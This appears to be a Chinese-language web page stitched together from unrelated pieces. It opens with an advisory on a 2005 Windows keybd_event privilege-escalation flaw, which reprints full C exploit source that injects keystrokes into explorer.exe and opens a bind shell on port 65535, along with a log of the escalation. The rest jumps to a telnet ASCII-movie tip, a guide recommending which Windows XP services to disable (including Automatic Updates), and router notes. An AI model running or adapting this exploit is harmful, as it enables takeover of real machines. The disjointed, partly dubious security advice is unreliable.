Windows中存在权限提升漏洞,攻击者可以通过向以更高权限运行的桌面应用程序(如explorer.exe)发送恶意的键盘事件,导致以目标用户的权限执行任意代码。
起因是桌面应用程序处理通过keybd_event()
function函数发送的键盘事件时存在设计错误。在当前的Microsoft安全模式中,共享桌面的应用程序之间可以发送消息,每个桌面应用程序都可以处理同一桌面中执行的每个进程,而任何应用程序都可以通过发送键盘敲击动作模拟虚拟键盘,这就允许每个每个进程都如交互用户那样发送消息和击键动作。
<*来源:Andres Tarasco (aT...@haxorcitos.com)
Frederic Charpentier (fcha...@xmcopartners.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=112604220032671&w=2
http://www.haxorcitos.com/MSRC-6005bgs-EN.txt
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/*
* Microsoft Windows keybd_event validation vulnerability.
* Local privilege elevation
*
* Credits: Andres Tarasco ( aT4r _@_ haxorcitos.com )
* I?aki Lopez ( ilo _@_ reversing.org )
*
* Platforms afected/tested:
*
* - Windows 2000
* - Windows XP
* - Windows 2003
*
*
* Original Advisory: http://www.haxorcitos.com
* http://www.reversing.org
*
* Exploit Date: 08 / 06 / 2005
*
* Orignal Advisory:
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS
IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION,
MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
* Attack Scenario:
*
* a) An attacker who gains access to an unprivileged shell/application
executed
* with the application runas.
* b) An attacker who gains access to a service with flags
INTERACT_WITH_DESKTOP
*
* Impact:
*
* Due to an invalid keyboard input validation, its possible to send
keys to any
* application of the Desktop.
* By sending some short-cut keys its possible to execute code and
elevate privileges
* getting loggued user privileges and bypass runas/service security
restriction.
*
* Exploit usage:
*
* C:\>whoami
* AQUARIUS\Administrador
*
* C:\>runas /user:restricted cmd.exe
* Enter the password for restricted:
* Attempting to start cmd.exe as user "AQUARIUS\restricted" ...
*
*
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\WINNT\system32>cd \
*
* C:\>whoami
* AQUARIUS\restricted
*
* C:\>tlist.exe |find "explorer.exe"
* 1140 explorer.exe Program Manager
*
* C:\>c:\keybd.exe 1140
* HANDLE Found. Attacking =)
*
* C:\>nc localhost 65535
* Microsoft Windows 2000 [Version 5.00.2195]
* (C) Copyright 1985-2000 Microsoft Corp.
*
* C:\>whoami
* whoami
* AQUARIUS\Administrador
*
*
* DONE =)
*
*/
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define HAXORCITOS 65535
unsigned int pid = 0;
char buf[256]="";
/**************************************************************/
void ExplorerExecution (HWND hwnd, LPARAM lParam){
DWORD hwndid;
int i;
GetWindowThreadProcessId(hwnd,&hwndid);
if (hwndid == pid){
/*
Replace keybd_event with SendMessage() and PostMessage() calls
*/
printf("HANDLE Found. Attacking =)\n");
SetForegroundWindow(hwnd);
keybd_event(VK_LWIN,1,0,0);
keybd_event(VkKeyScan('r'),1,0,0);
keybd_event(VK_LWIN,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan('r'),1,KEYEVENTF_KEYUP,0);
for(i=0;i<strlen(buf);i++) {
if (buf[i]==':') {
keybd_event(VK_SHIFT,1,0,0);
keybd_event(VkKeyScan(buf[i]),1,0,0);
keybd_event(VK_SHIFT,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
} else {
if (buf[i]=='\\') {
keybd_event(VK_LMENU,1,0,0);
keybd_event(VK_CONTROL,1,0,0);
keybd_event(VkKeyScan('�'),1,0,0);
keybd_event(VK_LMENU,1,KEYEVENTF_KEYUP,0);
keybd_event(VK_CONTROL,1,KEYEVENTF_KEYUP,0);
keybd_event(VkKeyScan('�'),1,KEYEVENTF_KEYUP,0);
} else {
keybd_event(VkKeyScan(buf[i]),1,0,0);
keybd_event(VkKeyScan(buf[i]),1,KEYEVENTF_KEYUP,0);
}
}
}
keybd_event(VK_RETURN,1,0,0);
keybd_event(VK_RETURN,1,KEYEVENTF_KEYUP,0);
exit(1);
}
}
/**************************************************************/
int BindShell(void) { //Bind Shell. POrt 65535
SOCKET s,s2;
STARTUPINFO si;
PROCESS_INFORMATION pi;
WSADATA HWSAdata;
struct sockaddr_in sa;
int len;
if (WSAStartup(MAKEWORD(2,2), &HWSAdata) != 0) { exit(1); }
if
((s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0))==INVALID_SOCKET){
exit(1); }
sa.sin_family = AF_INET;
sa.sin_port = (USHORT)htons(HAXORCITOS);
sa.sin_addr.s_addr = htonl(INADDR_ANY);
len=sizeof(sa);
if ( bind(s, (struct sockaddr *) &sa, sizeof(sa)) == SOCKET_ERROR ) {
return(-1); }
if ( listen(s, 1) == SOCKET_ERROR ) { return(-1); }
s2 = accept(s,(struct sockaddr *)&sa,&len);
closesocket(s);
ZeroMemory( &si, sizeof(si) ); ZeroMemory( &pi, sizeof(pi) );
si.cb = sizeof(si);
si.wShowWindow = SW_HIDE;
si.dwFlags =STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdInput = (void *) s2; // SOCKET
si.hStdOutput = (void *) s2;
si.hStdError = (void *) s2;
if (!createProcess( NULL ,"cmd.exe",NULL, NULL,TRUE,
0,NULL,NULL,&si,&pi)) {
doFormatMessage(GetLastError());
return(-1);
}
WaitForSingleObject( pi.hProcess, INFINITE );
closesocket(s);
closesocket(s2);
printf("SALIMOS...\n");
Sleep(5000);
return(1);
}
/**************************************************************/
void main(int argc, char* argv[])
{
HWND console_wnd = NULL;
if (argc >= 2) {
pid = atoi (argv[1]);
strncpy(buf,argv[0],sizeof(buf)-1);
EnumWindows((WNDENUMPROC)ExplorerExecution,(long)(&console_wnd));
} else {
BindShell();
}
}
/**************************************************************/
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 仅允许可信任的应用程序运行为可访问桌面的服务。
* 不要在生产环境中使用runas服务。
telnet towel.blinkenlights.nl
选择 ok 按钮,等待一会,你可以开始欣赏了。
太有创意了。
上个星期.有一台客户端系统出问题.发现是一个服务出了状况.只好对它进行禁用方能解决.但由于我对这个服务不甚了解.我又在群里有发过请教问题.但回复的没有几个.所以我在空余时间.在网上找到这一份比较详细的文档.希望对大家有点帮助.
对于我们经常使用的windows
2000/xp这里边有许多服务,那么这些服务都是干什么的呢?我们需要哪些?不需要哪些?在此我向大家做一个介绍。
Win32服务程序由3部分组成:服务应用程序,服务控制程序和服务控制管理器。其中服务控制管理器维护着注册表中的服务数据,服务控制程序则是控制服务应用程序的模块,是控制服务应用程序同服务管理器之间的桥梁。服务应用程序是服务程序的主体程序,他是一个或者多个服务的可执行代码。我们可以在控制面板--管理工具--服务中找到。可以修改他们的当前状态和启动方式,它的启动方式有三种:"自动"是之当计算机启动或者需要的时候就开启。"手动"是可以在命令提示符中通过"net
start"命令打开和"net
stop"命令关闭的,"已禁止"是指在改变启动方式前,不在启动。
在众多服务程序中他们很多是互相依存的,所以我们不能随便的便停止某项服务,否则很可能造成系统的非正常情况出现,但是有的服务对我们来说的确没有什么作用,而且还占据着我们宝贵的系统资源,其实有很多程序是我们用不到的,可以关闭,从而达到节省资源的目的。
Alert(警报器)
通知选取的使用者及计算机系统管理警示。如果停止这个服务,使用系统管理警示的程序将不会收到通知。所有依存于它的服务将无法启动。一般家用计算机根本不需要传送或接收计算机系统管理来的警示(Administrative
Alerts),除非你的计算机用在局域网络上
依存:Workstation
建议:停用
Application Layer Gateway Service
提供因特网联机共享和因特网联机防火墙的第三方通讯协议插件的支持如果你不使用因特网联机共享
(ICS)
提供多台计算机的因特网存取和因特网联机防火墙
(ICF) 软件你可以关掉
依存:Internt Connection Firewall (ICF) / Internet Connection
Sharing (ICS)
建议:停用
Application Management (应用程序管理)
从win2000开始引入的一种基于msi文件格式的全新有效软件管理方案--应用程序管理组件服务,不仅可可以管理软件的安装、删除,还可以使用此服务修改、修复现有应用程序,监视文件复原并通过复原排除基本故障等。
建议:手动
Automatic updates
启用重要 Windows
更新的下载及安装。如果停用此服务,可以手动的从
Windows update 网站上更新操作系统。允许 Windows
于背景自动联机之下,到 Microsoft Servers
自动检查和下载更新修补程序
建议:停用
Background Intelligent Transfer Service
使用闲置的网络频宽来传输数据。 经由 Via HTTP1.1
在背景传输资料的东西,例如 Windows update
就是以此为工作之一
依存:Remote Procedure Call (RPC) 和 Workstation
建议:停用
ClipBook (剪贴簿)
启用剪贴簿检视器以储存信息并与远程计算机共享。如果这个服务被停止,剪贴簿检视器将无法与远程计算机共享信息。任何明确依存于它的服务将无法启动。
把剪贴簿内的信息和其它台计算机分享,一般家用计算机根本用不到
依存:Network DDE
建议:停用
COM+ Event System (COM+ 事件系统)
支持"系统事件通知服务
(SENS)",它可让事件自动分散到COM
组件。如果服务被停止,SENS
会关闭,并无法提供登入及注销通知,任何明显依存它的服务都无法启动。有些程序可能用到
COM+ 组件,像 BootVis 的 optimize system
应用,如事件检查内显示的 DCOM 没有启用
依存:Remote Procedure Call (RPC) 和 System Event
Notification
建议:手动
COM+ System Application
管理 COM+
组件的设定及追踪。如果停止此服务,大部分的 COM+
组件将无法顺利运行。任何明确依存它的服务将无法启动。如事件检查内显示的
DCOM 没有启用
依存:Remote Procedure Call (RPC)
建议:手动
Computer Browser (计算机浏览器)
维护网络上更新的计算机清单,并将这个清单提供给做为浏览器的计算机。如果停止这个服务,这个清单将不会被更新或维护。如果停用这个服务,所有依存于它的服务将无法启动。
一般家庭用计算机不需要,除非你的计算机应用在局域网之上,不过在大型的局域网上有必要开这个拖慢速度吗?
依存:Server 和 Workstation
建议:停用
Cryptographic Services
提供三个管理服务: 确认 Windows 文件认证的;
从这个计算机新增及移除受信任根证认证授权凭证的;
以及协助注册这个计算机以取得凭证的
。如果这个服务被停止,这些管理服务将无法正确工作。任何明确依存于它的服务将无法启动。简单的说就是
Windows Hardware Quality Lab
(WHQL)微软的一种认证,如果你有使用 Automatic updates
,那你可能需要这个
依存:Remote Procedure Call (RPC)
建议:手动
DHCP Client (DHCP 客户端)
透过登录及更新 IP 地址和 DNS
名称来管理网络设定。使用 DSL/Cable 、ICS 和 IPSEC
的人都需要这个来指定动态
IP,如果系统不在任何网络之中,或者网络中没有DHCp服务,那么可以设置为停用。
依存:AFD 网络支持环境、NetBT、SYMTDI、TCP/IP
Protocol Driver 和 NetBios over TCP/IP
建议:手动
Distributed Link Tracking Client (分布式连结追踪客户端)
维护计算机中或网络内不同计算机中 NTFS
档案间的连结。对于绝大多数用户来说,形同虚设,可以关闭,特殊用户除外。
依存:Remote Procedure Call (RPC)
建议:停用
Distributed Transaction Coordinator (分布式交换协调器)
协调跨越多个资源管理员的信息交换,比如数据库、消息队列及档案系统。如果此服务被停止,这些交易将不会发生。任何明显依存它的服务将无法启动。如上所说的,一般家庭用计算机用不太到,除非你启用的
Message Queuing
依存:Remote Procedure Call (RPC) 和 Security Accounts
Manager
建议:停用
DNS Client (DNS 客户端)
解析并快速取得这台计算机的域名系统 (DNS)
名称。如果停止这个服务,这台计算机将无法解析 DNS
名称并寻找 Active Directory
网域控制站的位置。所有依存于它的服务将无法启动。
如上所说的,另外 IPSEC 需要用到
依存:TCP/IP Protocol Driver
建议:手动
Error Reporting Service
允许对执行于非标准环境中的服务和应用程序的错误报告。微软的应用程序错误报告服务,对于大多数用户来说也没什么用处,对于盗版用户来说更没什么用处,建议停用。
依存:Remote Procedure Call (RPC)
建议:停用
Event Log (事件记录文件)
启用 Windows
为主的程序和组件所发出的事件讯息可以在事件检视器中检视。这个服务不能被停止。允许事件讯息显示在事件检视器之上。
依存:Windows Management Instrumentation
建议:自动
Fast User Switching Compatibility
在多使用者环境下提供应用程序管理。另外像是注销画面中的切换使用者功能,一般建议不要停止,否则很多功能无法实现。
依存:Terminal Services
建议:手动
Help and Support
微软提供的可以支持说明和帮助文件的服务。如果这个服务停止,将无法使用说明及支持中心。它的所有依存服务将无法启动。
如果不使用就关了吧,现实中证明没有多少人需要它,除非有特别需求,否则建议停用。
依存:Remote Procedure Call (RPC)
建议:停用
Human Interface Device Access
启用对人体工程学接口装置 (HID)
的通用输入存取,HID
装置启动并维护对这个键盘、远程控制、以及其它多媒体装置上事先定义的快捷纽的使用。如果这个服务被停止,这个服务控制的快捷纽将不再起作用,任何明确依存于它的服务将无法启动。如果没有什么HID装置,可以停用
依存:Remote Procedure Call (RPC)
建议:手动
IMAPI CD-Burning COM Service
使用 Image Mastering Applications Programming Interface (IMAPI)
来管理光盘刻录。如果这个服务被停止,这个计算机将无法刻录光盘。任何明确地依赖它的服务将无法启动。
XP 整合的 CD-R 和 CD-RW
光驱上拖放的烧录功能,可惜比不上烧录软件,关掉还可以加快
Nero
的开启速度,如果不习惯使用第三方软件,请保留。
建议:停用
Indexing Service (索引服务)
本机和远程计算机的索引内容和档案属性;
透过弹性的查询语言提供快速档案存取。
简单的说可以让你加快搜查速度,不过我想应该很少人和远程计算机作搜寻吧,除非特殊工作
依存:Remote Procedure Call (RPC)
建议:停用
Internet Connection Firewall (ICF) / Internet Connection Sharing
(ICS)
为您的家用网络或小型办公室网络提供网络地址转译、寻址及名称解析服务和防止干扰的服务。如果你不使用因特网联机共享(ICS)或是
XP 内含的因特网联机防火墙(ICF)你可以关掉
依存:Application Layer Gateway Service、Network
Connections、Network Location Awareness(NLA)、Remote Access
Connection Manager
建议:停用
IPSEC Services (IP 安全性服务)
管理 IP 安全性原则并启动 ISAKMP/Oakley (IKE) 及 IP
安全性驱动程序。协助保护经由网络传送的数据。IPSec
为一重要环节,为虚拟私人网络 (VPN)
中提供安全性,而 VPN
允许组织经由因特网安全地传输数据。在某些网域上也许需要,但是一般使用者大部分是不太需要的
依存:IPSEC driver、Remote Procedure Call (RPC)、TCP/IP
Protocol Driver
建议:手动
Logical Disk Manager (逻辑磁盘管理员)
侦测及监视新硬盘磁盘,以及传送磁盘区信息到逻辑磁盘管理系统管理服务以供设定。如果这个服务被停止,动态磁盘状态和设定信息可能会过时。任何明确依存于它的服务将无法启动。磁盘管理员用来动态管理磁盘,如显示磁盘可用空间等和使用
Microsoft Management Console(MMC)主控台的功能
依存:Plug and Play、Remote Procedure Call (RPC)、Logical
Disk Manager Administrative Service
建议:自动
Logical Disk Manager Administrative Service
(逻辑磁盘管理员系统管理服务)
设定硬盘磁盘及磁盘区,服务只执行设定程序然后就停止。使用
Microsoft Management Console(MMC)主控台的功能时才用到
依存:Plug and Play、Remote Procedure Call (RPC)、Logical
Disk Manager
建议:手动
Messenger (信使服务)
在客户端及服务器之间传输网络传送及
"Alerter]"服务短信。这个服务与 Windows Messenger
无关。如果停止这个服务,Alerter
讯息将不会被传输。所有依存于它的服务将无法启动。比如网络之间互相传送提示信息的功能,net
send 功能,如不想被骚扰话可关了。
依存:NetBIOS Interface、Plug and Play、Remote Procedure
Call (RPC)、Workstation
建议:停用
MS Software Shadow Copy Provider
管理磁盘区阴影复制服务所取得的以软件为主的磁盘区阴影复制。如果停止这个服务,就无法管理以软件为主的磁盘区阴影复制。任何明确依存于它的服务将无法启动。如上所说的,用来备份的东西,如
MS Backup
程序就需要这个服务,但是大多数人用不到这个功能。
依存:Remote Procedure Call (RPC)
建议:停用
Net Logon
支持网络上计算机的账户登入事件的 pass-through
验证。一般家用计算机不太可能去用到登入网络审查这个服务。
依存:Workstation
建议:停用
NetMeeting Remote Desktop Sharing (NetMeeting 远程桌面共享)
让经过授权的使用者可以使用 NetMeeting
透过公司近端内部网络,由远程访问这部计算机。如果这项服务停止的话,远程桌面共享功能将无法使用。任何依赖它的服务将无法启动。
如上说的,让使用者可以将计算机的控制权分享予网络上或因特网上的其它使用者,如果你重视安全性不想多开后门,就关了吧。
建议:停用
Network Connections (网络连接)
管理在网络和拨号连接数据夹中的对象,您可以在此数据夹中检视局域网络和远程连接。控制你的网络连接
依存:Remote Procedure Call (RPC)、Internet Connection
Firewall (ICF) / Internet Connection Sharing (ICS)
建议:手动
Network DDE (网络 DDE)
为动态数据交换 (DDE)
对在相同或不同计算机上执行的程序提供网络传输和安全性。如果这个服务被停止,DDE
传输和安全性将无法使用。任何明确依存于它的服务将无法启动。
一般人好像用不到
依存:Network DDE DSDM、ClipBook
建议:停用
Network DDE DSDM (网络 DDE DSDM)
信息动态数据交换 (DDE)
网络共享。如果这个服务被停止,DDE
网络共享将无法使用。任何明确依存于它的服务将无法启动。
一般人好像用不到
依存:Network DDE
建议:停用
Network Location Awareness (NLA)
收集并存放网络设定和位置信息,并且在这个信息变更时通知应用程序。
如果不使用 ICF 和 ICS 可以关了它
依存:AFD网络支持环境、TCP/IP Procotol
Driver、Internet Connection Firewall (ICF) / Internet Connection
Sharing (ICS)
建议:停用
NT LM Security Support Provider (NTLM 安全性支持提供者)
为没有使用命名管道传输的远程过程调用 (RPC)
程序提供安全性。如果不使用 Message Queuing 或是 Telnet
Server 那就关了它,一般用户也用不上。
依存:Telnet
建议:停用
Performance Logs and Alerts (性能记录文件及警示)
基于事先设定的参数,从本机或远程计算机收集性能数据,然后将数据写入记录中。如果这个服务被停止,将不会收集性能信息。任何明确依存于它的服务将无法启动。
没什么价值的服务。
建议:停用
Plug and Play (即插即用)
启用计算机以使用者没有或很少的输入来识别及适应硬件变更,停止或停用这个服务将导致系统不稳定。
顾名思义就是 PNP
环境,一般计算机中都需要PNP环境的支持,所以不要关闭。
依存:Logical Disk Manager、Logical Disk Manager
Administrative Service、Messenger、Smart Card、Telephony、Windows
Audio
建议:自动
Portable Media Serial Number
Retrieves the serial number of any portable music player
connected to your
computer透过联网计算机重新取得音乐拨放序号,这个东西没什么价值,别考虑关掉吧!
建议:停用
Print Spooler (打印多任务缓冲处理器)
将档案加载内存中以待稍后打印。可以优化打印,对于打印功能有一定的帮助,如果没有打印机,可以关了。
依存:Remote Procedure Call (RPC)
建议:停用
Protected Storage (受保护的存放装置)
提供受保护的存放区,来储存重要数据,防止未授权的服务、处理、或使用者进行存取。
用来储存你计算机上密码的服务,像
Outlook、拨号程序、其它应用程序等等
依存:Remote Procedure Call (RPC)
建议:自动
QoS RSVP (QoS 许可控制,RSVP)
提供网络讯号及区域流量控制安装功能给可识别
QoS 的程序和控制小程序项。用来保留 20%
带宽的服务,如果你的网卡不支持 802.1p
或在你计算机的网络上没有 ACS server
,那么不用多说,关了它。
依存:AFD网络支持环境、TCP/IP Procotol Driver、Remote
Procedure Call (RPC)
建议:停用
Remote Access Auto Connection Manager
(远程访问自动联机管理员)
当程序参照到远程 DNS 或 NetBIOS
名称或地址时,建立远程网络的联接。有些 DSL/Cable
供应商,可能需要用此来处理登入程序
依存:Remote Access Connection Manager、Telephony
建议:手动
Remote Access Connection Manager (远程访问联接管理员)
建立网络联接,顾名思义,在网络连接中占有很重要的意义,当然如果不使用网络,可以关闭。
依存:Telephony、Internet Connection Firewall (ICF) /
Internet Connection Sharing (ICS)、Remote Access Auto Connection
Manager
建议:手动
Remote Desktop Help Session Manager
管理并控制远程协助。如果此服务停止的话,远程协助将无法使用。停止此服务之前,请先参阅内容对话框中的
"依存性"标签。
如上说的管理和控制远程协助,对于普通用户来说,这个根本就用不着,可以关闭
依存:Remote Procedure Call (RPC)
建议:停用
Remote Procedure Call (RPC) (远程过程调用,RPC)
提供结束点对应程序以及其它 RPC 服务。
很多程序设备都需要用到该服务,很复杂的依存性,所以除非高级用户,否则别关闭。
依存:太多了,本人限于篇幅不能一一枚举。
建议:自动
Remote Procedure Call (RPC) Locator
(远程过程调用定位程序)
管理 RPC
名称服务数据库。在一般计算机上很少用到,没什么特殊要求,可以尝试关了
依存:Workstation
建议:停用
Remote Registry (远程登录服务)
启用远程服务来对远程计算机进行操作。如果这个服务被停止,登录只能由这个计算机上的使用者修改。任何明确依存于它的服务将无法启动。
基于安全性的理由,如果没有特别的需求,建议最好关了它,除非你需要远程协助修改你的登录设定。
依存:Remote Procedure Call (RPC)
建议:停用
Removable Storage (卸除式存放装置)
除非你有 Zip 磁盘驱动器或是 USB
之类移动式的硬件或是 Tape
备份装置,不然可以尝试关了,现在的这方面的设备很多,建议保留
依存:Remote Procedure Call (RPC)
建议:自动
Routing and Remote Access (路由和远程访问)
提供连到局域网及广域网的公司的路由服务。提供拨号联机到网络或是
VPN 服务,一般用户用不到,可以关闭
依存:Remote Procedure Call (RPC)、NetBIOSGroup
建议:停用
Secondary Logon
启用在其它认证下的起始程序。如果这个服务被停止,这类的登入存取将无法使用。任何明确依存于它的服务将无法启动。允许多个用户处理程序,执行分身等
建议:自动
Security Accounts Manager (安全性账户管理员)
储存本机账户的安全性信息。管理账号和群组原则(gpedit.msc)应用,虽然很多人不太了解它,但是作用不小。
依存:Remote Procedure Call (RPC)、Distributed Transaction
Coordinator
建议:自动
Server (服务器)
透过网络为这台计算机提供档案、打印、及命名管道的共享。如果停止这个服务,将无法使用这些功能。所有依存于它的服务将无法启动。简单的说就是档案和打印的共享,除非你有和其它计算机共享,不然就关了
依存:Computer Browser
建议:停用
Shell Hardware Detection
为自动播放硬件事件提供通知。一般使用在移动存储或是CD装置、DVD装置上,这是个比较烦的东西,可以尝试关闭。
依存:Remote Procedure Call (RPC)
建议:停用
Smart Card
管理这个计算机所读取智能卡的存取。如果这个服务被停止,这个计算机将无法读取智能卡。任何明确依存于它的服务将无法启动。
如果你不使用 Smart Card ,那就可以关了
依存:Plug and Play
建议:停用
Smart Card Helper (智能卡协助程序)
启用对计算机使用的旧版非即插即用智能卡读取的支持。如果这个服务被停止,这个计算机将不支持旧版smart
card。任何明确依存于它的服务将无法启动。
如果你不使用 Smart Card ,那就可以关了
建议:停用
SSDP Discovery Service
在您的家用网络上启用通用即插即用设备的搜索。通用即插即用服务
(Universal Plug and Play, UPnP)
让计算机可以找到并使用网络上的装置,经由网络连接通过
TCP/IP
来搜索装置,像网络上的扫瞄器、数字相机或是打印机,都是使用
UPnP
的功能,基于安全性没用到的大可关了。不过现在数码设备很流行,需要的用户可以保留
依存:Universal Plug and Play Device Host
建议:停用
System Event Notification (系统事件通知)
追踪诸如 Windows
登入、网络、和电源事件的系统事件。通知这些事件的
COM+ 事件系统订阅者。对于服务器尤其重要。
依存:COM+ Event System
建议:自动
System Restore Service
执行系统还原功能。若要停止服务,从我的电脑--属性--系统还原
中关闭系统还原因人而定,本人觉得比较浪费资源,可以关掉。
依存:Remote Procedure Call (RPC)
建议:停用
Task Scheduler
让用户能够在这个计算机上设定自动的工作的计划,并执行。如果停止这个服务,这些工作在它们设定的时间时将不会执行。任何明确依存于它的服务将无法启动。设定自动的工作计划,像一些定时磁盘扫瞄、病毒定时扫瞄、更新等等,但是一般都很少用,可以关闭
依存:Remote Procedure Call (RPC)
建议:手动
TCP/IP NetBIOS Helper (TCP/IP NetBIOS 协助程序)
启用NetBIOS over TCP/IP
(NetBT)]服务及NetBIOS名称解析的支持。如果你的网络不使用
NetBios或是WINS,你大可关闭,对于不太了解网络情况的用户建议保留,否则可能导致你的网络出现问题。
依存:AFD 网络支持环境、NetBt
建议:停用
Telephony (电话语音)
为本机及经由局域网络连接到正在执行此服务的服务器,控制电话语音装置和
IP 语音连接的服务,提供电话语音 API (TAPI)
支持。一般的拨号调制解调器或是一些 DSL/Cable
可能用到
依存:Plug and Play、Remote Procedure Call (RPC)、Remote
Access Connection Manager、Remote Access Auto Connection Manager
建议:手动
Telnet
启用一个远程使用者来登入到这台计算机和执行应用程序,以及支持各种
TCP/IP Telnet 客户端,包含以UNIX为基本和以 Windows
为基本的计算机。如果服务停止了,远程使用者可能无法存取应用程序。任何明确地依存于这项服务的其它服务将会启动失败。允许远程用户用
Telnet
登入本计算机,一般人会误解关了就无法使用BBS,这其实和BBS无关,基于安全性的理由,如果没有特别的需求,建议最好关了
依存:NT LM Security Support Provider、Remote Procedure Call
(RPC)、TCP/IP Protocol Driver
建议:停用
Terminal Services (终端服务)
允许多位使用者连接到同一部计算机、桌面及到远程计算机的应用程序。远程桌面的加强
(包含系统管理员的
RD)、快速切换使用者、远程协助和终端机服务器。远程桌面或是远程协助的功能,不需要就关了,目前该服务也导致了很多网络服务器的安全性问题。
依存:Remote Procedure Call (RPC)、Fast User Switching
Compatibility、InteractiveLogon
建议:停用
Themes
提供使用者主题管理。
很多人使用布景主题,打造个性化的系统,不过如果没有使用的人,那就可以关闭。
建议:自动
Uninterruptible Power Supply (不断电供电系统)
管理连接到这台计算机的不间断电源供应
(UPS)。不间断电源供应
(UPS)一般人有用到吗?除非你的电源供应器有具备此功能,不然就关了
建议:停用
Universal Plug and Play Device Host
提供主机通用即插即用装置的支持。用来侦测安装通用即插即用服务
(Universal Plug and Play,
UPnP)装置,像是数字相机或打印机,现在很多设备都需要这个。
依存:SSDP Discovery Service
建议:自动
Volume Shadow Copy
管理及执行用于备份和其它目的的磁盘镜像复制。如果这个服务被停止,镜像复制将无法用于备份,备份可能会失败。任何明确依存于它的服务将无法启动。如上所说的,用来备份的东西,如
MS Backup 程序就需要这个服务
依存:Remote Procedure Call (RPC)
建议:停用
WebClient
启用 Windows
为主的程序来建立、存取,以及修改因特网为主的文件。如果停止这个服务,这些功能将无法使用。任何明确依存于它的服务将无法启动。使用
WebDAV 将档案或文件上载到所有的 Web
服务,基于安全性的理由,你可以尝试关闭
依存:WebDav Client Redirector
建议:停用
Windows Audio
管理用于 Windows
为主程序的音讯装置。如果这个服务被停止,音讯装置和效果将无法正常运作。任何明确依存于它的服务将无法启动。如果你没有声卡可以关了他,但是现在的个人电脑不会没有声卡吧?
依存:Plug and Play、Remote Procedure Call (RPC)
建议:自动
Windows Image Acquisition (WIA) (Windows影像取得程序)
为扫描仪和数码相机提供影像采集服务。如果扫描仪和数字相机内部具有支持WIA功能的话,那就可以直接看到图档,不需要其它的驱动程序,所以没有扫描仪和数字相机的使用者大可关了
依存:Remote Procedure Call (RPC)
建议:停用
Windows Installer (Windows 安装程序)
根据包含在 .MSI
档案内的指示来安装,修复以及移除软件。是一个系统服务,协助使用者正确地安装、设定、追踪、升级和移除软件程序,可管理应用程序建立和安装的标准格式,并且追踪例如档案群组、登录项目及快捷方式等组件,很多软件的安装都需要用到这个服务,所以建议保留,否则会遇到很多麻烦的。
依存:Remote Procedure Call (RPC)
建议:自动
Windows Management Instrumentation (WMI)
提供公用接口及对象模型,以存取有关操作系统、设备、应用程序及服务的管理信息。如果这个服务已停止,大多数的
Windows
软件将无法正常运作。所有依存于它的服务都将无法启动。
如上说的,是一种提供一个标准的基础结构来监视和管理系统资源的服务,由不得你动他
依存:Event Log、Remote Procedure Call (RPC)
建议:自动
Windows Management Instrumentation Driver Extensions (Windows
Management Instrumentation 驱动程序延伸)
提供系统管理信息管理驱动程序。Windows Management
Instrumentation 的延伸,提供信息用的,可以设置为手动
建议:手动
Windows Time (Windows 时间设定)
维护在网络上所有客户端及服务器的数据及时间同步处理。如果这个服务停止,将无法进行日期及时间同步处理。所有依存的服务都会停止。
网络对时校准没有太大的意义,而且占有不少的资源,可以关闭
建议:停用
Wireless Zero Configuration
为 802.11 适配卡提供自动设定
自动配置无线网络装置,言下之意就是说,除非你有在使用无线网络装置,那么你才有必要使用这个网络零管理服务,否则这个对你一点作用也没有。
依存:NDIS Usermode I/O Protocol、Remote Procedure Call (RPC)
建议:停用
WMI Performance Adapter
提供来自 WMIHiPerf
提供者的效能链接库信息。对大多数用户没有太大作用
依存:Remote Procedure Call (RPC)
建议:停用
Workstation (工作站)
建立并维护到远程服务器的客户端网络联机。如果停止这个服务,这些联机将无法使用。所有依存于它的服务将无法启动。是网络连接中所必要的一些功能
依存:Alerter、Background Intelligent Transfer
Service、Computer Browser、Messenger、Net Logon、Remote Procedure
Call (RPC) Locator
建议:自动
Windows中很多服务都是用不上的,大家可以根据自己的需求,自己去决定保留哪些,关闭哪些,相信经过你的修改,系统资源会大大增加。
在主干网上,路由器的主要作用是路由选择。主干网上的路由器,必须知道到达所有下层网络的路径。这需要维护庞大的路由表,并对连接状态的变化作出尽可能迅速的反应。路由器的故障将会导致严重的信息传输问题。
在地区网中,路由器的主要作用是网络连接和路由选择,即连接下层各个基层网络单位--园区网,同时负责下层网络之间的数据转发。
在园区网内部,路由器的主要作用是分隔子网。早期的互连网基层单位是局域网(LAN),其中所有主机处于同一逻辑网络中。随着网络规模的不断扩大,局域网演变成以高速主干和路由器连接的多个子网所组成的园区网。在其中,处个子网在逻辑上独立,而路由器就是唯一能够分隔它们的设备,它负责子网间的报文转发和广播隔离,在边界上的路由器则负责与上层网络的连接。
第二层交换机和路由器的区别
传统交换机从网桥发展而来,属于OSI第二层即数据链路层设备。它根据MAC地址寻址,通过站表选择路由,站表的建立和维护由交换机自动进行。路由器属于OSI第三层即网络层设备,它根据IP地址进行寻址,通过路由表路由协议产生。交换机最大的好处是快速,由于交换机只须识别帧中MAC地址,直接根据MAC地址产生选择转发端口算法简单,便于ASIC实现,因此转发速度极高。但交换机的工作机制也带来一些问题。
1.回路:根据交换机地址学习和站表建立算法,交换机之间不允许存在回路。一旦存在回路,必须启动生成树算法,阻塞掉产生回路的端口。而路由器的路由协议没有这个问题,路由器之间可以有多条通路来平衡负载,提高可靠性。
2.负载集中:交换机之间只能有一条通路,使得信息集中在一条通信链路上,不能进行动态分配,以平衡负载。而路由器的路由协议算法可以避免这一点,OSPF路由协议算法不但能产生多条路由,而且能为不同的网络应用选择各自不同的最佳路由。
